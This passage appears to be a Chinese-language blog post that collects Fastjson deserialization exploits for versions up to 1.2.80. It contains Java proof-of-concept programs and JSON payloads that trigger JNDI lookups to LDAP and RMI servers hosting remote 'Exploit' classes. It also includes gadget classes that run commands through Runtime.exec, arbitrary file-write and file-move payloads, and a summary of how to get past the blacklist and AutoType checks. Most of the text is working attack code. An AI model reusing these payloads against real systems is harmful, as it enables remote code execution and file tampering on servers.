1 2 3 4 5 6 7 public T getInstance () { try { if (requiredType != null ) { return requiredType.cast(this .lookup(resourceName, requiredType)); } else { return (T) this .lookup(resourceName); }
poc 1 2 3 4 5 6 7 8 9 10 11 12 package org.example.fastjson.other;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class AutoCloseable { public static void main (String[] args) { String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:7777/evil\"}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); System.out.println(JSON.parseObject(poc)); } }
1 2 3 4 5 6 7 8 9 10 11 12 private Object getObjectOrPerformJndiLookup (Object object) { if (object instanceof String) { try { InitialContext initCtx = new InitialContext (); return initCtx.lookup((String) object); } catch (NamingException e) { throw new IllegalArgumentException (e); } } return object;
传递的参数是metricRegistry进入到lookup中,参数可以控制
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example.fastjson.other;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class metricRegistry { public static void main (String[] args) { String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:8080/evil\"}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parseObject(poc); } }
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup jndiNames可控导致注入
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example.fastjson.other;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class metricRegistry { public static void main (String[] args) { String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://127.0.0.1:8080/evil\"}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parseObject(poc); } }
1 2 3 4 5 6 7 8 9 10 public void setProperties (Properties props) throws SQLException, TransactionException { String utxName = null ; try { utxName = (String) props.get("UserTransaction" ); InitialContext initCtx = new InitialContext (); userTransaction = (UserTransaction) initCtx.lookup(utxName); } catch (NamingException e) { throw new SqlMapException ("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e); } }
参数可以控制
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example.fastjson.other;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class metricRegistry { public static void main (String[] args) { String poc = " {\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:8080/evil/\"}}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parseObject(poc); } }
都是基于黑名单的绕过
Fastjson =1.2.50 1 2 3 4 5 6 7 { "@type" :"java.lang.AutoCloseable" , "@type" :"oracle.jdbc.rowset.OracleJDBCRowSet" , "dataSourceName" :"ldap://localhost:1389/test" , "command" :"a" }
Fastjson1.2.50-1.2.59
需要开启AutoType
1 2 {"@type" :"com.zaxxer.hikari.HikariConfig" ,"metricRegistry" :"ldap://localhost:1389/Exploit" } {"@type" :"com.zaxxer.hikari.HikariConfig" ,"healthCheckRegistry" :"ldap://localhost:1389/Exploit" }
Fastjson1.2.50-1.2.60
无需开启autotype
1 2 {"@type" :"oracle.jdbc.connector.OracleManagedConnectionFactory" ,"xaDataSourceName" :"rmi://10.10.20.166:1099/ExportObject" } {"@type" :"org.apache.commons.configuration.JNDIConfiguration" ,"prefix" :"ldap://10.10.20.166:1389/ExportObject" }
Fastjson1.2.50-1.2.61
开启autotype
1 2 {"@type" :"oracle.jdbc.connector.OracleManagedConnectionFactory" ,"xaDataSourceName" :"rmi://10.10.20.166:1099/ExportObject" } {"@type" :"org.apache.commons.configuration.JNDIConfiguration" ,"prefix" :"ldap://10.10.20.166:1389/ExportObject" }
Fastjson <=1.2.62 利用条件:
需要开启AutoType
目标服务端需要存在xbean-reflect包
利用载荷:
1 2 {"@type" :"org.apache.xbean.propertyeditor.JndiConverter" ,"AsText" :"rmi://127.0.0.1:1098/exploit" } {"@type" :"org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : {"@type" :"java.util.Hashtable" ,"java.naming.factory.initial" :"com.sun.jndi.rmi.registry.RegistryContextFactory" ,"topic-factory" :"ldap://localhost:1389/Exploit" }, "namespace" :"" }
Fastjson <=1.2.67 利用条件:
Fastjson =1.2.68 expectclass绕Autotype @type反序列化时指定了expectclass,也就是指定了期望类
Throwable.class 没有开AutoType,并且如果指定了expectclass
要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类
1 2 1、黑名单限制 2、漏洞利用类必须拥有一个在autotype关着的情况下可以生成实例的父类
后面都是各位大佬的poc,仅作收集
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 package org.heptagram.fastjson; import com.alibaba.fastjson.JSONObject; public class ThrowableMain { public static void main(String[] args) { String payload ="{\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"org.heptagram.fastjson.ViaThrowable\",\n" + " \"domain\": \"qbknro.dnslog.cn|calc\"\n" + "}"; JSONObject.parseObject(payload); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.heptagram.fastjson;import java.io.IOException;public class ViaThrowable extends Exception { private String domain; public ViaThrowable () { super (); } public String getDomain () { return domain; } public void setDomain (String domain) { this .domain = domain; } @Override public String getMessage () { try { Runtime.getRuntime().exec("cmd /c ping " +domain); } catch (IOException e) { return e.getMessage(); } return super .getMessage(); } }
Runnable 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.heptagram.fastjson;import java.io.IOException;public class ExecRunnable implements AutoCloseable { private EvalRunnable eval; public EvalRunnable getEval () { return eval; } public void setEval (EvalRunnable eval) { this .eval = eval; } @Override public void close () throws Exception { } } class EvalRunnable implements Runnable { private String cmd; public String getCmd () { System.out.println("EvalRunnable getCmd() " +cmd); try { Runtime.getRuntime().exec(new String []{"cmd" ,"/c" ,cmd}); } catch (IOException e) { e.printStackTrace(); } return cmd; } public void setCmd (String cmd) { this .cmd = cmd; } @Override public void run () { } } -------------------------------------------------------- package org.heptagram.fastjson;import com.alibaba.fastjson.JSONObject;public class ExecRunnableMain { public static void main (String[] args) { String payload = "{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.heptagram.fastjson.ExecRunnable\",\n" + " \"eval\":{\"@type\":\"org.heptagram.fastjson.EvalRunnable\",\"cmd\":\"calc.exe\"}\n" + "}" ; JSONObject.parseObject(payload); } }
AutoCloseable_writefile_rmb122.json(适用于JDK 11) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 { '@type' :"java.lang.AutoCloseable" , '@type' :'sun.rmi.server.MarshalOutputStream' , 'out' : { '@type' :'java.util.zip.InflaterOutputStream' , 'out' : { '@type' :'java.io.FileOutputStream' , 'file' :'dst' , 'append' :false }, 'infl' : { 'input' : { 'array' :'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==' , 'limit' :22 } }, 'bufLen' :1048576 }, 'protocolVersion' :1 }
AutoCloseable_writefile_rmb122_8.json(适用于JDK 8/10) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { '@type' :"java.lang.AutoCloseable" , '@type' :'sun.rmi.server.MarshalOutputStream' , 'out' : { '@type' :'java.util.zip.InflaterOutputStream' , 'out' : { '@type' :'java.io.FileOutputStream' , 'file' :'dst' , 'append' :false }, 'infl' : { 'input' :'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==' }, 'bufLen' :1048576 }, 'protocolVersion' :1 }
文件移动 1 {"@type" :"java.lang.AutoCloseable" , "@type" :"org.eclipse.core.internal.localstore.SafeFileOutputStream" , "tempPath" :"D:/b.txt" , "targetPath" :"E:/b.txt" }
文件写入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.eclipse.core.internal.localstore.SafeFileOutputStream" , "targetPath" : "D:/wamp64/www/hacked.txt" , \\创建一个空文件 "tempPath" : "D:/wamp64/www/test.txt" \\创建一个有内容的文件 }, "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.esotericsoftware.kryo.io.Output" , "buffer" : "cHduZWQ=" , \\base64后的文件内容 "outputStream" : { "$ref" : "$.stream" }, "position" : 5 }, "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.sleepycat.bind.serial.SerialOutput" , "out" : { "$ref" : "$.writer" } } }
rce (利用类必须是expectClass类的子类或实现类,并且不在黑名单中)
1 2 3 {"@type" :"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" ,"metricRegistry" :"ldap://localhost:1389/Exploit" } {"@type" :"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" ,"healthCheckRegistry" :"ldap://localhost:1389/Exploit" } {"@type" :"com.caucho.config.types.ResourceRef" ,"lookupName" : "ldap://localhost:1389/Exploit" , "value" : {"$ref" :"$.value" }}
无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行
1 {"@type" :"java.lang.AutoCloseable" ,"@type" :"vul.VulAutoCloseable" ,"cmd" :"calc" }
1.2.72<fastjson<=1.2.80 jython+pgsql 1 {"a" :{"@type" :"java.lang.Exception" ,"@type" :"org.python.antlr.ParseException" ,},"b" :{"@type" :"java.lang.Class" ,"val" :{"@type" :"java.lang.String" {"@type" :"java.util.Locale" ,"val" :{"@type" :"com.alibaba.fastjson.JSONObject" ,{"@type" :"java.lang.String" "@type" :"org.python.antlr.ParseException" ,"type" :{}}}},"c" :{"@type" :"org.python.core.PyObject" ,"@type" :"com.ziclix.python.sql.PyConnection" ,"connection" :{"@type" :"org.postgresql.jdbc.PgConnection" ,"hostSpecs" :[{"host" :"127.0.0.1" ,"port" :2333 }],"user" :"user" ,"database" :"test" ,"info" :{"socketFactory" :"org.springframework.context.support.ClassPathXmlApplicationContext" ,"socketFactoryArg" :"http://127.0.0.1" },"url" :"" }}}
利用包头的via执行
总结
1.2.24之下无限制,随便玩
1.2.25到1.2.41新增黑白名单,使用L
开头;
结尾进行绕过
1.2.42双写L
开头;
结尾进行绕过
1.2.43使用[
进行绕过
1.2.47及以下使用MiscCodec类刷新缓存绕过
1.2.48cache为false,不给存入缓存
1.2.48到1.2.80利用expectClass绕过
-1.2.48到1.2.68使用AutoCloseable进行绕过
-1.2.69到1.2.80使用ThrowableDeserializer进行绕过
参考
https://www.freebuf.com/vuls/361576.html
Fastjson1.2.80反序列化漏洞分析与利用 - FreeBuf网络安全行业门户
https://cloud.tencent.com/developer/article/2086788
scz.617.cn:8/web/202008081723.txt
Java反序列化链子详细分析合集1 - 首页|Aiwin
https://www.freebuf.com/articles/web/360632.html